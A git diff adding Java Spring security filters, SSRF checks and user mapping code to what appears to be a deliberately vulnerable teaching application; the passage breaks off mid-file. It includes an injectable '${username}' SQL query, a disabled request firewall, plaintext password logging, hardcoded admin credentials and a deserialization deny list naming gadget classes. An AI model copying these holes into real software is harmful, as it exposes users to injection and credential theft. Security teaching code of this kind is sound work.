b/src/main/java/org/joychou/filter/BaseCorsFilter.java new file mode 100644 index 00000000..9987464f --- /dev/null +++ b/src/main/java/org/joychou/filter/BaseCorsFilter.java @@ -0,0 +1,35 @@ +package org.joychou.filter; + +import org.springframework.core.Ordered; +import org.springframework.core.annotation.Order; +import org.springframework.stereotype.Component; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +import org.springframework.web.filter.CorsFilter; + +/** + * 由于CorsFilter和spring security冲突,所以改为下面的代码。 + */ +@Component +@Order(Ordered.HIGHEST_PRECEDENCE) +public class BaseCorsFilter extends CorsFilter { + + public BaseCorsFilter() { + super(configurationSource()); + } + + private static UrlBasedCorsConfigurationSource configurationSource() { + CorsConfiguration config = new CorsConfiguration(); + config.setAllowCredentials(true); + config.addAllowedOrigin("joychou.org"); // 不支持 + config.addAllowedOrigin("http://test.joychou.me"); + config.addAllowedHeader("*"); + config.addAllowedMethod("GET"); + config.addAllowedMethod("POST"); + + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/cors/sec/corsFilter", config); + + return source; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java new file mode 100644 index 00000000..ee4a5bee --- /dev/null +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -0,0 +1,61 @@ +//package org.joychou.filter; +// +// +//import javax.servlet.*; +//import javax.servlet.annotation.WebFilter; +//import javax.servlet.http.HttpServletRequest; +//import javax.servlet.http.HttpServletResponse; +//import java.io.IOException; +// +//import org.apache.catalina.servlet4preview.http.HttpFilter; +//import org.joychou.security.SecurityUtil; +//import org.slf4j.Logger; +//import org.slf4j.LoggerFactory; +// +// +///** +// * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。 +// * +// * @author JoyChou @ 2019.12.19 +// */ +//@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") +//public class OriginFilter implements Filter { +// +// @Override +// public void init(FilterConfig filterConfig) throws ServletException { +// +// } +// +// private final Logger logger = LoggerFactory.getLogger(this.getClass()); +// +// @Override +// public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) +// throws IOException, ServletException { +// +// HttpServletRequest request = (HttpServletRequest) req; +// HttpServletResponse response = (HttpServletResponse) res; +// +// String origin = request.getHeader("Origin"); +// logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); +// +// // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑 +// if (origin != null && SecurityUtil.checkURL(origin) == null) { +// logger.error("[-] Origin check error. " + "Origin: " + origin + +// "\tCurrent url:" + request.getRequestURL()); +// response.setStatus(response.SC_FORBIDDEN); +// response.getWriter().println("Invaid cors config by joychou."); +// return; +// } +// +// response.setHeader("Access-Control-Allow-Origin", origin); +// response.setHeader("Access-Control-Allow-Credentials", "true"); +// response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION"); +// +// filterChain.doFilter(req, res); +// } +// +// @Override +// public void destroy() { +// +// } +//} diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java new file mode 100644 index 00000000..30a914f3 --- /dev/null +++ b/src/main/java/org/joychou/filter/ReferFilter.java @@ -0,0 +1,85 @@ +package org.joychou.filter; + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +import org.apache.commons.lang.StringUtils; +import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.AntPathMatcher; +import org.springframework.util.PathMatcher; + + +/** + * Check referer for all GET requests with callback parameters. + * If the check of referer fails, a 403 forbidden error page will be returned. + *

+ * Still need to add @ServletComponentScan annotation in Application.java. + */ +@WebFilter(filterName = "referFilter", urlPatterns = "/*") +public class ReferFilter implements Filter { + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) + throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + String refer = request.getHeader("referer"); + PathMatcher matcher = new AntPathMatcher(); + boolean isMatch = false; + + // 获取要校验Referer的Uri + for (String uri : WebConfig.getReferUris()) { + if (matcher.match(uri, request.getRequestURI())) { + isMatch = true; + break; + } + } + + if (!isMatch) { + filterChain.doFilter(req, res); + return; + } + + if (!WebConfig.getReferSecEnabled()) { + filterChain.doFilter(req, res); + return; + } + + // Check referer for all GET requests with callback parameters. + + String reqCallback = request.getParameter(WebConfig.getBusinessCallback()); + if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) { + // If the check of referer fails, a 403 forbidden error page will be returned. + if (SecurityUtil.checkURL(refer) == null) { + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + + "Referer: " + refer); + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write(" Referer check error."); + response.flushBuffer(); + return; + } + } + + + filterChain.doFilter(req, res); + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/imageConfig.java b/src/main/java/org/joychou/imageConfig.java new file mode 100644 index 00000000..e63ffd1a --- /dev/null +++ b/src/main/java/org/joychou/imageConfig.java @@ -0,0 +1,17 @@ +package org.joychou; + +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; + +/** + * 将本地的/tmp/目录的文件映射到http://localhost:8080/image/ + */ +@Configuration +public class imageConfig extends WebMvcConfigurerAdapter{ + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) { + registry.addResourceHandler("/image/**").addResourceLocations("file:/tmp/"); + super.addResourceHandlers(registry); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java new file mode 100644 index 00000000..b88fb561 --- /dev/null +++ b/src/main/java/org/joychou/mapper/UserMapper.java @@ -0,0 +1,30 @@ +package org.joychou.mapper; + +import org.apache.ibatis.annotations.Mapper; +import org.apache.ibatis.annotations.Param; +import org.apache.ibatis.annotations.Select; +import org.joychou.dao.User; + +import java.util.List; + +@Mapper +public interface UserMapper { + + /** + * If using simple sql, we can use annotation. Such as @Select @Update. + * If using ${username}, application will send a error. + */ + @Select("select * from users where username = #{username}") + User findByUserName(@Param("username") String username); + + @Select("select * from users where username = '${username}'") + List findByUserNameVuln01(@Param("username") String username); + + List findByUserNameVuln02(String username); + List findByUserNameVuln03(@Param("order") String order); + + User findById(Integer id); + + User OrderByUsername(); + +} diff --git a/src/main/java/org/joychou/security/AntObjectInputStream.java b/src/main/java/org/joychou/security/AntObjectInputStream.java new file mode 100644 index 00000000..ef332360 --- /dev/null +++ b/src/main/java/org/joychou/security/AntObjectInputStream.java @@ -0,0 +1,80 @@ +package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.*; + +/** + * RASP:Hook java/io/ObjectInputStream类的resolveClass方法 + * RASP: https://github.com/baidu/openrasp/blob/master/agent/java/engine/src/main/java/com/baidu/openrasp/hook/DeserializationHook.java + * + * Run main method to test. + */ +public class AntObjectInputStream extends ObjectInputStream { + + protected final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class); + + public AntObjectInputStream(InputStream inputStream) throws IOException { + super(inputStream); + } + + /** + * 只允许反序列化SerialObject class + * + * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。 + * 类似fastjson通用类的反序列化就不能校验。 + * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。 + * + */ + @Override + protected Class resolveClass(final ObjectStreamClass desc) + throws IOException, ClassNotFoundException + { + String className = desc.getName(); + + // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject + logger.info("Deserialize class name: " + className); + + String[] denyClasses = {"java.net.InetAddress", + "org.apache.commons.collections.Transformer", + "org.apache.commons.collections.functors"}; + + for (String denyClass : denyClasses) { + if (className.startsWith(denyClass)) { + throw new InvalidClassException("Unauthorized deserialization attempt", className); + } + } + + return super.resolveClass(desc); + } + + public static void main(String args[]) throws Exception{ + // 定义myObj对象 + MyObject myObj = new MyObject(); + myObj.name = "world"; + + // 创建一个包含对象进行反序列化信息的/tmp/object数据文件 + FileOutputStream fos = new FileOutputStream("/tmp/object"); + ObjectOutputStream os = new ObjectOutputStream(fos); + + // writeObject()方法将myObj对象写入/tmp/object文件 + os.writeObject(myObj); + os.close(); + + // 从文件中反序列化obj对象 + FileInputStream fis = new FileInputStream("/tmp/object"); + AntObjectInputStream ois = new AntObjectInputStream(fis); // AntObjectInputStream class + + //恢复对象即反序列化 + MyObject objectFromDisk = (MyObject)ois.readObject(); + System.out.println(objectFromDisk.name); + ois.close(); + } + + static class MyObject implements Serializable { + public String name; + } +} + + diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java new file mode 100644 index 00000000..2e1df795 --- /dev/null +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -0,0 +1,36 @@ +package org.joychou.security; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.access.AccessDeniedException; +import org.springframework.security.web.access.AccessDeniedHandler; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * Csrf access denied page. + * + * @author JoyChou + */ +public class CsrfAccessDeniedHandler implements AccessDeniedHandler { + + protected final Logger logger= LoggerFactory.getLogger(this.getClass()); + + @Override + public void handle(HttpServletRequest request, HttpServletResponse response, + AccessDeniedException accessDeniedException) throws IOException { + + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + + "Referer: " + request.getHeader("referer")); + + response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html + response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden + response.getWriter().write("CSRF check failed by JoyChou."); // response contents + } + +} + diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java new file mode 100644 index 00000000..6d67825f --- /dev/null +++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java @@ -0,0 +1,52 @@ +package org.joychou.security; + +import org.apache.commons.lang.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.DefaultCorsProcessor; + +public class CustomCorsProcessor extends DefaultCorsProcessor { + + private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class); + + + /** + * 跨域请求,会通过此方法检测请求源是否被允许 + * + * @param config CORS 配置 + * @param requestOrigin 请求源 + * @return 如果请求源被允许,返回请求源;否则返回 null + */ + @Override + protected String checkOrigin(CorsConfiguration config, String requestOrigin) { + + // 支持checkOrigin原装的域名配置 + String result = super.checkOrigin(config, requestOrigin); + if (result != null) { + return result; + } + + if (StringUtils.isBlank(requestOrigin)) { + return null; + } + + return customCheckOrigin(requestOrigin); + } + + + /** + * 自定义校验requestOrigin + */ + private String customCheckOrigin(String requestOrigin) { + + if ( SecurityUtil.checkURL(requestOrigin) != null) { + logger.info("[+] Origin: " + requestOrigin ); + return requestOrigin; + } + logger.error("[-] Origin: " + requestOrigin ); + return null; + } + + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java new file mode 100644 index 00000000..d7f12627 --- /dev/null +++ b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java @@ -0,0 +1,27 @@ +package org.joychou.security; + +import org.springframework.security.web.firewall.FirewalledRequest; +import org.springframework.security.web.firewall.HttpFirewall; +import org.springframework.security.web.firewall.RequestRejectedException; +import org.springframework.stereotype.Component; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +@Component +public class DisableSpringSecurityFirewall implements HttpFirewall { + + @Override + public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException { + return new FirewalledRequest(request) { + @Override + public void reset() { + } + }; + } + + @Override + public HttpServletResponse getFirewalledResponse(HttpServletResponse response) { + return response; + } +} diff --git a/src/main/java/org/joychou/security/LoginFailureHandler.java b/src/main/java/org/joychou/security/LoginFailureHandler.java new file mode 100644 index 00000000..eb41014e --- /dev/null +++ b/src/main/java/org/joychou/security/LoginFailureHandler.java @@ -0,0 +1,32 @@ +package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.core.AuthenticationException; +import org.springframework.security.web.authentication.AuthenticationFailureHandler; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + + + +public class LoginFailureHandler implements AuthenticationFailureHandler { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void onAuthenticationFailure(HttpServletRequest request, + HttpServletResponse response, AuthenticationException exception) + throws ServletException, IOException { + + logger.info("Login failed. " + request.getRequestURL() + + " username: " + request.getParameter("username") + + " password: " + request.getParameter("password") ); + + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + response.getWriter().write("{\"code\":1, \"message\":\"Login failed.\"}"); + } + +} diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java new file mode 100644 index 00000000..d588818b --- /dev/null +++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java @@ -0,0 +1,51 @@ +package org.joychou.security; + +import com.alibaba.fastjson.JSON; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.core.Authentication; +import org.springframework.security.web.authentication.AuthenticationSuccessHandler; +import org.springframework.security.web.savedrequest.HttpSessionRequestCache; +import org.springframework.security.web.savedrequest.SavedRequest; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + + +public class LoginSuccessHandler implements AuthenticationSuccessHandler { + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void onAuthenticationSuccess(HttpServletRequest request, + HttpServletResponse response, Authentication authentication) + throws ServletException, IOException { + + logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS."); + + SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response); + String originUrl = ""; + try { + originUrl = savedRequest.getRedirectUrl(); + } catch (Exception e) { + logger.debug(e.toString()); + } + + if (savedRequest != null) { + logger.info("Original url is: " + originUrl); + } + + Map content = new HashMap<>(); + content.put("code", "0"); + content.put("message", "Login success"); + content.put("redirectUrl", originUrl); + // 直接进行sendRedirect到登录前的url,会重定向失败。具体原因可google ajax and sendRedirect + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + response.getWriter().write(JSON.toJSONString(content)); + } +} diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java new file mode 100644 index 00000000..ee962846 --- /dev/null +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -0,0 +1,255 @@ +package org.joychou.security; + +import org.joychou.config.WebConfig; +import org.joychou.security.ssrf.SSRFChecker; +import org.joychou.security.ssrf.SocketHook; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.net.URI; +import java.net.URISyntaxException; +import java.net.URLDecoder; +import java.util.ArrayList; +import java.util.regex.Pattern; + + +public class SecurityUtil { + + private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); + private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + + + /** + * Determine if the URL starts with HTTP. + * + * @param url url + * @return true or false + */ + public static boolean isHttp(String url) { + return url.startsWith("http://") || url.startsWith("https://"); + } + + + /** + * Get http url host. + * + * @param url url + * @return host + */ + public static String gethost(String url) { + try { + URI uri = new URI(url); + return uri.getHost().toLowerCase(); + } catch (URISyntaxException e) { + return ""; + } + } + + + /** + * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。 + * 优先判断黑名单,如果满足黑名单return null。 + * + * @param url the url need to check + * @return Safe url returns original url; Illegal url returns null; + */ + public static String checkURL(String url) { + + if (null == url){ + return null; + } + + ArrayList safeDomains = WebConfig.getSafeDomains(); + ArrayList blockDomains = WebConfig.getBlockDomains(); + + try { + String host = gethost(url); + + // 必须http/https + if (!isHttp(url)) { + return null; + } + + // 如果满足黑名单返回null + if (blockDomains.contains(host)){ + return null; + } + for(String blockDomain: blockDomains) { + if(host.endsWith("." + blockDomain)) { + return null; + } + } + + // 支持多级域名 + if (safeDomains.contains(host)){ + return url; + } + + // 支持一级域名 + for(String safedomain: safeDomains) { + if(host.endsWith("." + safedomain)) { + return url; + } + } + return null; + } catch (NullPointerException e) { + logger.error(e.toString()); + return null; + } + } + + + /** + * 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛,强烈建议使用该方案。 + * 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成,大多数场景是图片场景,一般图片的域名都是CDN或者OSS等,所以限定域名白名单即可完成SSRF漏洞修复。 + * + * @author JoyChou @ 2020-03-30 + * @param url 需要校验的url + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFByWhitehosts(String url) { + return SSRFChecker.checkURLFckSSRF(url); + } + + + /** + * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。 + * + * 存在的问题: + * 1、会主动发起请求,可能会有性能问题 + * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案 + * 3、TTL设置为0会被绕过 + * + * @param url check的url + * @return 安全返回true,危险返回false + */ + @Deprecated + public static boolean checkSSRF(String url) { + int checkTimes = 10; + return SSRFChecker.checkSSRF(url, checkTimes); + } + + + /** + * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。 + * + * 存在问题: + * 1、TTL为0会被绕过 + * 2、使用重定向可绕过 + * + * @param url The url that needs to check. + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFWithoutRedirect(String url) { + if(url == null) { + return false; + } + return !SSRFChecker.isInternalIpByUrl(url); + } + + /** + * Check ssrf by hook socket. Start socket hook. + * + * @author liergou @ 2020-04-04 02:15 + */ + public static void startSSRFHook() throws IOException { + SocketHook.startHook(); + } + + /** + * Close socket hook. + * + * @author liergou @ 2020-04-04 02:15 + **/ + public static void stopSSRFHook(){ + SocketHook.stopHook(); + } + + + + /** + * Filter file path to prevent path traversal vulns. + * + * @param filepath file path + * @return illegal file path return null + */ + public static String pathFilter(String filepath) { + String temp = filepath; + + // use while to sovle multi urlencode + while (temp.indexOf('%') != -1) { + try { + temp = URLDecoder.decode(temp, "utf-8"); + } catch (UnsupportedEncodingException e) { + logger.info("Unsupported encoding exception: " + filepath); + return null; + } catch (Exception e) { + logger.info(e.toString()); + return null; + } + } + + if (temp.contains("..") || temp.charAt(0) == '/') { + return null; + } + + return filepath; + } + + + public static String cmdFilter(String input) { + if (!FILTER_PATTERN.matcher(input).matches()) { + return null; + } + + return input; + } + + + /** + * 过滤mybatis中order by不能用#的情况。 + * 严格限制用户输入只能包含a-zA-Z0-9_-.字符。 + * + * @param sql sql + * @return 安全sql,否则返回null + */ + public static String sqlFilter(String sql) { + if (!FILTER_PATTERN.matcher(sql).matches()) { + return null; + } + return sql; + } + + /** + * 将非0-9a-zA-Z/-.的字符替换为空 + * + * @param str 字符串 + * @return 被过滤的字符串 + */ + public static String replaceSpecialStr(String str) { + StringBuilder sb = new StringBuilder(); + str = str.toLowerCase(); + for(int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + // 如果是0-9 + if (ch >= 48 && ch <= 57 ){ + sb.append(ch); + } + // 如果是a-z + else if(ch >= 97 && ch <= 122) { + sb.append(ch); + } + else if(ch == '/' || ch == '.' || ch == '-'){ + sb.append(ch); + } + } + + return sb.toString(); + } + + public static void main(String[] args) { + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java new file mode 100644 index 00000000..f3494fe2 --- /dev/null +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -0,0 +1,116 @@ +package org.joychou.security; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; +import org.springframework.security.web.util.matcher.RequestMatcher; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.CorsConfigurationSource; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; + +import javax.servlet.http.HttpServletRequest; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashSet; + + +/** + * Congifure csrf + * + */ +@EnableWebSecurity +@Configuration +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + + @Value("${joychou.security.csrf.enabled}") + private Boolean csrfEnabled = false; + + @Value("${joychou.security.csrf.exclude.url}") + private String[] csrfExcludeUrl; + + @Value("${joychou.security.csrf.method}") + private String[] csrfMethod = {"PUT"}; + + private RequestMatcher csrfRequestMatcher = new RequestMatcher() { + + @Override + public boolean matches(HttpServletRequest request) { + + // 配置需要CSRF校验的请求方式, + HashSet allowedMethods = new HashSet<>(Arrays.asList(csrfMethod)); + // return false表示不校验csrf + if (!csrfEnabled) { + return false; + } + return allowedMethods.contains(request.getMethod()); + } + + }; + + @Override + protected void configure(HttpSecurity http) throws Exception { + // 默认token存在session里,用CookieCsrfTokenRepository改为token存在cookie里。 + // 但存在后端多台服务器情况,session不能同步的问题,所以一般使用cookie模式。 + http.csrf() + .requireCsrfProtectionMatcher(csrfRequestMatcher) + .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔 + .csrfTokenRepository(new CookieCsrfTokenRepository()); + http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); + // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());« + + http.cors(); + + // spring security login settings + http.authorizeRequests() + .antMatchers("/css/**", "/js/**", "/login2", "/login3").permitAll() // permit static resources + .anyRequest().authenticated().and() // any request authenticated except above static resources + .formLogin().loginPage("/login") // permit all to access /login page + .permitAll() // permit all to access /login page + .successHandler(new LoginSuccessHandler()) + .failureHandler(new LoginFailureHandler()).and() + .logout().logoutUrl("/logout").permitAll().and() + // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。 + .rememberMe(); + } + + /** + * Global cors configure + */ + @Bean + CorsConfigurationSource corsConfigurationSource() + { + // Set cors origin white list + ArrayList allowOrigins = new ArrayList<>(); + allowOrigins.add("joychou.org"); + allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。 + + CorsConfiguration configuration = new CorsConfiguration(); + configuration.setAllowedOrigins(allowOrigins); + configuration.setAllowCredentials(true); + configuration.setAllowedMethods(Arrays.asList("GET", "POST")); + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/cors/sec/httpCors", configuration); // ant style + return source; + } + + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth + .inMemoryAuthentication() // 从内存中获取 +// .withUser("joychou").password("joychou123").roles("USER").and() +// .withUser("admin").password("admin123").roles("USER", "ADMIN"); + // SpringBoot升级到了2.0之后的版本,Security也由原来的版本4升级到了5 + .passwordEncoder(new BCryptPasswordEncoder()) + .withUser("admin").password(new BCryptPasswordEncoder().encode("admin123")).roles("USER", "ADMIN").and() + .withUser("cqq").password(new BCryptPasswordEncoder().encode("cqq123")).roles("USER"); + } +} + + diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java new file mode 100644 index 00000000..0930e2b5 --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -0,0 +1,182 @@ +package org.joychou.security.ssrf; + +import java.net.HttpURLConnection; +import java.net.InetAddress; +import java.net.URI; +import java.net.URL; +import java.util.ArrayList; + +import org.apache.commons.lang.StringUtils; +import org.apache.commons.net.util.SubnetUtils; +import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + + +public class SSRFChecker { + + private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + + public static boolean checkURLFckSSRF(String url) { + if (null == url) { + return false; + } + + ArrayList ssrfSafeDomains = WebConfig.getSsrfSafeDomains(); + try { + String host = SecurityUtil.gethost(url); + + // 必须http/https + if (!SecurityUtil.isHttp(url)) { + return false; + } + + if (ssrfSafeDomains.contains(host)) { + return true; + } + for (String ssrfSafeDomain : ssrfSafeDomains) { + if (host.endsWith("." + ssrfSafeDomain)) { + return true; + } + } + } catch (Exception e) { + logger.error(e.toString()); + return false; + } + return false; + } + + /** + * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 + * url只允许https或者http,并且设置默认连接超时时间。 + * 该修复方案会主动请求重定向后的链接。 + * + * @param url check的url + * @param checkTimes 设置重定向检测的最大次数,建议设置为10次 + * @return 安全返回true,危险返回false + */ + public static boolean checkSSRF(String url, int checkTimes) { + + HttpURLConnection connection; + int connectTime = 5 * 1000; // 设置连接超时时间5s + int i = 1; + String finalUrl = url; + try { + do { + // 判断当前请求的URL是否是内网ip + if (isInternalIpByUrl(finalUrl)) { + logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl); + return false; // 内网ip直接return,非内网ip继续判断是否有重定向 + } + + connection = (HttpURLConnection) new URL(finalUrl).openConnection(); + connection.setInstanceFollowRedirects(false); + connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL + connection.setConnectTimeout(connectTime); + //connection.setRequestMethod("GET"); + connection.connect(); // send dns request + int responseCode = connection.getResponseCode(); // 发起网络请求 + if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) { + String redirectedUrl = connection.getHeaderField("Location"); + if (null == redirectedUrl) + break; + finalUrl = redirectedUrl; + i += 1; // 重定向次数加1 + logger.info("redirected url: " + finalUrl); + if (i == checkTimes) { + return false; + } + } else + break; + } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK); + connection.disconnect(); + } catch (Exception e) { + return true; // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。 + } + return true; // 默认返回true + } + + + /** + * 判断一个URL的IP是否是内网IP + * + * @return 如果是内网IP,返回true;非内网IP,返回false。 + */ + public static boolean isInternalIpByUrl(String url) { + + String host = url2host(url); + if (host.equals("")) { + return true; // 异常URL当成内网IP等非法URL处理 + } + + String ip = host2ip(host); + if (ip.equals("")) { + return true; // 如果域名转换为IP异常,则认为是非法URL + } + + return isInternalIp(ip); + } + + + /** + * 使用SubnetUtils库判断ip是否在内网网段 + * + * @param strIP ip字符串 + * @return 如果是内网ip,返回true,否则返回false。 + */ + static boolean isInternalIp(String strIP) { + if (StringUtils.isEmpty(strIP)) { + logger.error("[-] SSRF check failed. IP is empty. " + strIP); + return true; + } + + ArrayList blackSubnets = WebConfig.getSsrfBlockIps(); + for (String subnet : blackSubnets) { + SubnetUtils utils = new SubnetUtils(subnet); + if (utils.getInfo().isInRange(strIP)) { + logger.error("[-] SSRF check failed. Internal IP: " + strIP); + return true; + } + } + + return false; + + } + + /** + * host转换为IP + * 会将各种进制的ip转为正常ip + * 167772161 转换为 10.0.0.1 + * 127.0.0.1.xip.io 转换为 127.0.0.1 + * + * @param host 域名host + */ + private static String host2ip(String host) { + try { + InetAddress IpAddress = InetAddress.getByName(host); // send dns request + return IpAddress.getHostAddress(); + } catch (Exception e) { + return ""; + } + } + + /** + * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。 + * + * @param url http的url + */ + private static String url2host(String url) { + try { + // 使用URI,而非URL,防止被绕过。 + URI u = new URI(url); + if (SecurityUtil.isHttp(url)) { + return u.getHost(); + } + return ""; + } catch (Exception e) { + return ""; + } + } + +} diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java new file mode 100644 index 00000000..817c881e --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java @@ -0,0 +1,15 @@ +package org.joychou.security.ssrf; + + +/** + * SSRFException + * + * @author JoyChou @2020-04-04 + */ +public class SSRFException extends RuntimeException { + + SSRFException(String s) { + super(s); + } + +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java new file mode 100644 index 